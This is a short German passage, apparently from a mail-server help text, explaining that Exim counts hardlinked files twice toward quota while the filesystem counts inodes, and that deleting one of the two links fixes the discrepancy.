Da das Filesystem auf den Hardlink achtet, bekommt man die korrekte Quota angezeigt, weil die nach benutzten Inodes geht. Der Exim dagegen zählt die Dateigrößen, egal ob es sich um Links handelt oder nicht.

Was man jetzt tun muß ist, eine von beiden Dateien löschen. Keine Panik, daß stört die andere Datei kein bisschen, die wird nicht gelöscht oder beeinträchtigt.

Danach stimmt die Quota wieder.